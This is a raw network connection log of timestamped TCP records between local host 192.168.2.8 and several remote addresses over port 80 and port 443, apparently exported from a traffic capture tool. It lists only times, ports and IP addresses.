Nov 28, 2024 08:56:05.883038998 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:05.883073092 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:05.883167028 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:05.884213924 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:05.884294987 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:05.884326935 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:05.884401083 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:05.885134935 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:05.885255098 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:05.885288000 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:05.885381937 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:05.886234045 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:05.886329889 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:05.886360884 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:05.886437893 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:05.887329102 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:05.887392998 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:05.887423038 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:05.887577057 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:05.888416052 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:05.888509989 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:05.888554096 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:05.888775110 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:05.889523983 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:05.889626026 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:05.889652967 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:05.889818907 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:05.890633106 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:05.890733004 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:05.890742064 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:05.890883923 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:05.891709089 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:05.891823053 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:05.891850948 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:05.891987085 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:05.892813921 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:05.892910957 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:05.893237114 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:05.893893003 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:05.894004107 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:05.894253969 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:05.894978046 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:05.895107985 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:05.895136118 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:05.895196915 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:05.896085978 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:05.896183968 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:05.896213055 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:05.896368027 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:05.897176027 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:05.897350073 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:06.001444101 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:06.001523018 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:06.001559973 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:06.001775980 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:06.001846075 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:06.001897097 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:06.002048969 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:06.002855062 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:06.002954960 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:06.003216982 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:06.003943920 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:06.004009962 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:06.004040956 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:06.005701065 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:06.045212984 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:06.045320988 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:06.045531034 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:06.045759916 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:06.045849085 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:06.045881987 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:06.046248913 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:06.046844006 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:06.046909094 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:06.047463894 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:06.047936916 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:06.048218966 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:06.048305035 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:06.048404932 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:06.048629999 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:06.049169064 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:06.049241066 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:06.049269915 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:06.049422026 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:06.050112963 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:06.050180912 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:06.050271988 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:06.050374985 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:06.051112890 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:06.051265955 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:06.051450014 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:06.052203894 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:06.052292109 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:06.052872896 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:06.053308964 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:06.053406000 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:06.053885937 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:06.054398060 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:06.054495096 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:06.054514885 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:06.054949045 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:06.055541992 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:06.055610895 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:06.055636883 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:06.055794001 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:06.056587934 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:06.056688070 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:06.056696892 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:06.057111979 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:06.057658911 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:06.057756901 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:06.057785988 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:06.058229923 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:06.058768988 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:06.058913946 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:06.059336901 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:06.060373068 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:06.060385942 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:06.060952902 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:06.060981989 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:06.061048985 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:06.061228991 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:06.062015057 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:06.062134981 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:06.062345028 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:06.063132048 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:06.063195944 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:06.063224077 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:06.063329935 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:06.100227118 CET	49788	443	192.168.2.8	162.159.61.3
Nov 28, 2024 08:56:06.100229025 CET	49791	443	192.168.2.8	162.159.61.3
Nov 28, 2024 08:56:06.100259066 CET	443	49788	162.159.61.3	192.168.2.8
Nov 28, 2024 08:56:06.100259066 CET	443	49791	162.159.61.3	192.168.2.8
Nov 28, 2024 08:56:06.100290060 CET	49793	443	192.168.2.8	162.159.61.3
Nov 28, 2024 08:56:06.100308895 CET	443	49793	162.159.61.3	192.168.2.8
Nov 28, 2024 08:56:06.100423098 CET	49790	443	192.168.2.8	162.159.61.3
Nov 28, 2024 08:56:06.100429058 CET	443	49790	162.159.61.3	192.168.2.8
Nov 28, 2024 08:56:06.100428104 CET	49792	443	192.168.2.8	162.159.61.3
Nov 28, 2024 08:56:06.100449085 CET	443	49792	162.159.61.3	192.168.2.8
Nov 28, 2024 08:56:06.100920916 CET	49844	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:06.100948095 CET	443	49844	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:06.101329088 CET	49844	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:06.101773024 CET	49844	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:06.101787090 CET	443	49844	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:06.108480930 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:56:06.108597994 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:56:06.315489054 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:56:06.317950010 CET	49845	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:56:06.435525894 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:56:06.437896967 CET	80	49845	185.215.113.206	192.168.2.8
Nov 28, 2024 08:56:06.438112020 CET	49845	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:56:06.439135075 CET	49845	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:56:06.559046030 CET	80	49845	185.215.113.206	192.168.2.8
Nov 28, 2024 08:56:07.410785913 CET	443	49844	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:07.411129951 CET	49844	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:07.411173105 CET	443	49844	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:07.415005922 CET	443	49844	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:07.415118933 CET	49844	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:07.415440083 CET	49844	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:07.415627003 CET	443	49844	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:07.415690899 CET	49844	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:07.456983089 CET	49844	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:07.457029104 CET	443	49844	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:07.503844023 CET	49844	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:07.863607883 CET	443	49844	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:07.863635063 CET	443	49844	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:07.863713026 CET	443	49844	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:07.863714933 CET	49844	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:07.863779068 CET	49844	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:07.866621971 CET	49844	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:07.866631985 CET	443	49844	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:07.872395039 CET	49846	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:07.872431040 CET	443	49846	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:07.873002052 CET	49846	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:07.873173952 CET	49846	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:07.873192072 CET	443	49846	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:08.380752087 CET	80	49845	185.215.113.206	192.168.2.8
Nov 28, 2024 08:56:08.380837917 CET	49845	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:56:09.181819916 CET	443	49846	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:09.183826923 CET	49846	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:09.183871031 CET	443	49846	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:09.184256077 CET	443	49846	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:09.184950113 CET	49846	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:09.185005903 CET	443	49846	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:09.185127020 CET	49846	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:09.227334023 CET	443	49846	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:09.240040064 CET	49846	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:09.644293070 CET	443	49846	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:09.644320965 CET	443	49846	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:09.644330025 CET	443	49846	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:09.644364119 CET	443	49846	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:09.644377947 CET	49846	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:09.644407034 CET	443	49846	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:09.644423008 CET	49846	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:09.644424915 CET	443	49846	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:09.644468069 CET	49846	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:09.652282953 CET	49846	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:09.652297974 CET	443	49846	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:09.660552979 CET	49847	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:09.660598040 CET	443	49847	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:09.660710096 CET	49847	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:09.661079884 CET	49847	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:09.661091089 CET	443	49847	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:11.695672989 CET	443	49801	23.216.132.33	192.168.2.8
Nov 28, 2024 08:56:11.695775032 CET	443	49801	23.216.132.33	192.168.2.8
Nov 28, 2024 08:56:11.695854902 CET	49801	443	192.168.2.8	23.216.132.33
Nov 28, 2024 08:56:11.750799894 CET	443	49802	23.216.132.33	192.168.2.8
Nov 28, 2024 08:56:11.750998974 CET	443	49802	23.216.132.33	192.168.2.8
Nov 28, 2024 08:56:11.751171112 CET	49802	443	192.168.2.8	23.216.132.33
Nov 28, 2024 08:56:11.935549021 CET	49845	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:56:11.938852072 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:12.019393921 CET	443	49803	23.216.132.33	192.168.2.8
Nov 28, 2024 08:56:12.019476891 CET	443	49803	23.216.132.33	192.168.2.8
Nov 28, 2024 08:56:12.019541025 CET	49803	443	192.168.2.8	23.216.132.33
Nov 28, 2024 08:56:12.197149038 CET	443	49847	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:12.197603941 CET	49847	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:12.197626114 CET	443	49847	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:12.197946072 CET	443	49847	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:12.201724052 CET	49847	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:12.201817036 CET	443	49847	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:12.202622890 CET	49847	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:12.247339010 CET	443	49847	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:13.295237064 CET	443	49847	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:13.295268059 CET	443	49847	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:13.295382977 CET	443	49847	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:13.295419931 CET	49847	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:13.295469999 CET	49847	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:13.297524929 CET	49847	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:13.297548056 CET	443	49847	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:13.305351973 CET	49802	443	192.168.2.8	23.216.132.33
Nov 28, 2024 08:56:13.305380106 CET	443	49802	23.216.132.33	192.168.2.8
Nov 28, 2024 08:56:13.305449009 CET	49801	443	192.168.2.8	23.216.132.33
Nov 28, 2024 08:56:13.305486917 CET	443	49801	23.216.132.33	192.168.2.8
Nov 28, 2024 08:56:13.305866003 CET	49803	443	192.168.2.8	23.216.132.33
Nov 28, 2024 08:56:13.305871010 CET	443	49803	23.216.132.33	192.168.2.8
Nov 28, 2024 08:56:13.305891991 CET	49848	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:13.305934906 CET	443	49848	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:13.306226969 CET	49848	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:13.306226969 CET	49848	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:13.306266069 CET	443	49848	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:13.917133093 CET	49849	443	192.168.2.8	20.12.23.50
Nov 28, 2024 08:56:13.917171955 CET	443	49849	20.12.23.50	192.168.2.8
Nov 28, 2024 08:56:13.917246103 CET	49849	443	192.168.2.8	20.12.23.50
Nov 28, 2024 08:56:13.917778969 CET	49849	443	192.168.2.8	20.12.23.50
Nov 28, 2024 08:56:13.917790890 CET	443	49849	20.12.23.50	192.168.2.8
Nov 28, 2024 08:56:14.518960953 CET	443	49848	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:14.529529095 CET	49848	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:14.529541969 CET	443	49848	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:14.529931068 CET	443	49848	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:14.530580997 CET	49848	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:14.530639887 CET	443	49848	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:14.530807972 CET	49848	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:14.575345993 CET	443	49848	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:14.963198900 CET	443	49848	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:14.963232040 CET	443	49848	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:14.963298082 CET	49848	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:14.963305950 CET	443	49848	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:14.963411093 CET	49848	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:14.965920925 CET	49848	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:14.965933084 CET	443	49848	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:14.972529888 CET	49850	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:14.972554922 CET	443	49850	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:14.972613096 CET	49850	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:14.973007917 CET	49850	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:14.973021984 CET	443	49850	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:15.475112915 CET	443	49849	20.12.23.50	192.168.2.8
Nov 28, 2024 08:56:15.475266933 CET	49849	443	192.168.2.8	20.12.23.50
Nov 28, 2024 08:56:15.477000952 CET	49849	443	192.168.2.8	20.12.23.50
Nov 28, 2024 08:56:15.477010965 CET	443	49849	20.12.23.50	192.168.2.8
Nov 28, 2024 08:56:15.477308035 CET	443	49849	20.12.23.50	192.168.2.8
Nov 28, 2024 08:56:15.490094900 CET	49849	443	192.168.2.8	20.12.23.50
Nov 28, 2024 08:56:15.535331011 CET	443	49849	20.12.23.50	192.168.2.8
Nov 28, 2024 08:56:16.158900023 CET	443	49849	20.12.23.50	192.168.2.8
Nov 28, 2024 08:56:16.158932924 CET	443	49849	20.12.23.50	192.168.2.8
Nov 28, 2024 08:56:16.158947945 CET	443	49849	20.12.23.50	192.168.2.8
Nov 28, 2024 08:56:16.159015894 CET	49849	443	192.168.2.8	20.12.23.50
Nov 28, 2024 08:56:16.159034014 CET	443	49849	20.12.23.50	192.168.2.8
Nov 28, 2024 08:56:16.159089088 CET	49849	443	192.168.2.8	20.12.23.50
Nov 28, 2024 08:56:16.202958107 CET	443	49849	20.12.23.50	192.168.2.8
Nov 28, 2024 08:56:16.203011990 CET	443	49849	20.12.23.50	192.168.2.8
Nov 28, 2024 08:56:16.203036070 CET	49849	443	192.168.2.8	20.12.23.50
Nov 28, 2024 08:56:16.203048944 CET	443	49849	20.12.23.50	192.168.2.8
Nov 28, 2024 08:56:16.203079939 CET	443	49849	20.12.23.50	192.168.2.8
Nov 28, 2024 08:56:16.203085899 CET	49849	443	192.168.2.8	20.12.23.50
Nov 28, 2024 08:56:16.203125954 CET	49849	443	192.168.2.8	20.12.23.50
Nov 28, 2024 08:56:16.215193033 CET	49849	443	192.168.2.8	20.12.23.50
Nov 28, 2024 08:56:16.215214968 CET	443	49849	20.12.23.50	192.168.2.8
Nov 28, 2024 08:56:16.232156038 CET	443	49850	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:16.232453108 CET	49850	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:16.232466936 CET	443	49850	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:16.232805967 CET	443	49850	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:16.233112097 CET	49850	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:16.233174086 CET	443	49850	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:16.233279943 CET	49850	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:16.279333115 CET	443	49850	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:16.676981926 CET	443	49850	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:16.677006960 CET	443	49850	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:16.677057981 CET	49850	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:16.677072048 CET	443	49850	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:16.677087069 CET	443	49850	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:16.677134991 CET	49850	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:16.678349018 CET	49850	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:16.678364038 CET	443	49850	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:17.305140972 CET	443	49828	23.33.40.135	192.168.2.8
Nov 28, 2024 08:56:17.305246115 CET	443	49828	23.33.40.135	192.168.2.8
Nov 28, 2024 08:56:17.305299997 CET	49828	443	192.168.2.8	23.33.40.135
Nov 28, 2024 08:56:17.362366915 CET	443	49829	23.33.40.135	192.168.2.8
Nov 28, 2024 08:56:17.362453938 CET	443	49829	23.33.40.135	192.168.2.8
Nov 28, 2024 08:56:17.362524033 CET	49829	443	192.168.2.8	23.33.40.135
Nov 28, 2024 08:56:17.786232948 CET	49761	443	192.168.2.8	20.190.181.4
Nov 28, 2024 08:56:17.803096056 CET	49851	443	192.168.2.8	20.190.181.4
Nov 28, 2024 08:56:17.803143024 CET	443	49851	20.190.181.4	192.168.2.8
Nov 28, 2024 08:56:17.805552959 CET	49851	443	192.168.2.8	20.190.181.4
Nov 28, 2024 08:56:17.805764914 CET	49851	443	192.168.2.8	20.190.181.4
Nov 28, 2024 08:56:17.805777073 CET	443	49851	20.190.181.4	192.168.2.8
Nov 28, 2024 08:56:17.937117100 CET	443	49832	23.33.40.143	192.168.2.8
Nov 28, 2024 08:56:17.937211037 CET	443	49832	23.33.40.143	192.168.2.8
Nov 28, 2024 08:56:17.937570095 CET	49832	443	192.168.2.8	23.33.40.143
Nov 28, 2024 08:56:19.643574953 CET	443	49851	20.190.181.4	192.168.2.8
Nov 28, 2024 08:56:19.644701958 CET	49851	443	192.168.2.8	20.190.181.4
Nov 28, 2024 08:56:19.644723892 CET	443	49851	20.190.181.4	192.168.2.8
Nov 28, 2024 08:56:19.645853996 CET	49851	443	192.168.2.8	20.190.181.4
Nov 28, 2024 08:56:19.645863056 CET	443	49851	20.190.181.4	192.168.2.8
Nov 28, 2024 08:56:19.645878077 CET	49851	443	192.168.2.8	20.190.181.4
Nov 28, 2024 08:56:19.645888090 CET	49851	443	192.168.2.8	20.190.181.4
Nov 28, 2024 08:56:19.645900011 CET	443	49851	20.190.181.4	192.168.2.8
Nov 28, 2024 08:56:19.645912886 CET	443	49851	20.190.181.4	192.168.2.8
Nov 28, 2024 08:56:20.654628038 CET	443	49851	20.190.181.4	192.168.2.8
Nov 28, 2024 08:56:20.654661894 CET	443	49851	20.190.181.4	192.168.2.8
Nov 28, 2024 08:56:20.654701948 CET	443	49851	20.190.181.4	192.168.2.8
Nov 28, 2024 08:56:20.654736042 CET	49851	443	192.168.2.8	20.190.181.4
Nov 28, 2024 08:56:20.654757977 CET	443	49851	20.190.181.4	192.168.2.8
Nov 28, 2024 08:56:20.654768944 CET	49851	443	192.168.2.8	20.190.181.4
Nov 28, 2024 08:56:20.657610893 CET	49851	443	192.168.2.8	20.190.181.4
Nov 28, 2024 08:56:20.657627106 CET	443	49851	20.190.181.4	192.168.2.8
Nov 28, 2024 08:56:20.657635927 CET	49851	443	192.168.2.8	20.190.181.4
Nov 28, 2024 08:56:20.657830000 CET	443	49851	20.190.181.4	192.168.2.8
Nov 28, 2024 08:56:20.657872915 CET	443	49851	20.190.181.4	192.168.2.8
Nov 28, 2024 08:56:20.658529043 CET	49851	443	192.168.2.8	20.190.181.4
Nov 28, 2024 08:56:32.310308933 CET	49852	443	192.168.2.8	13.107.246.63
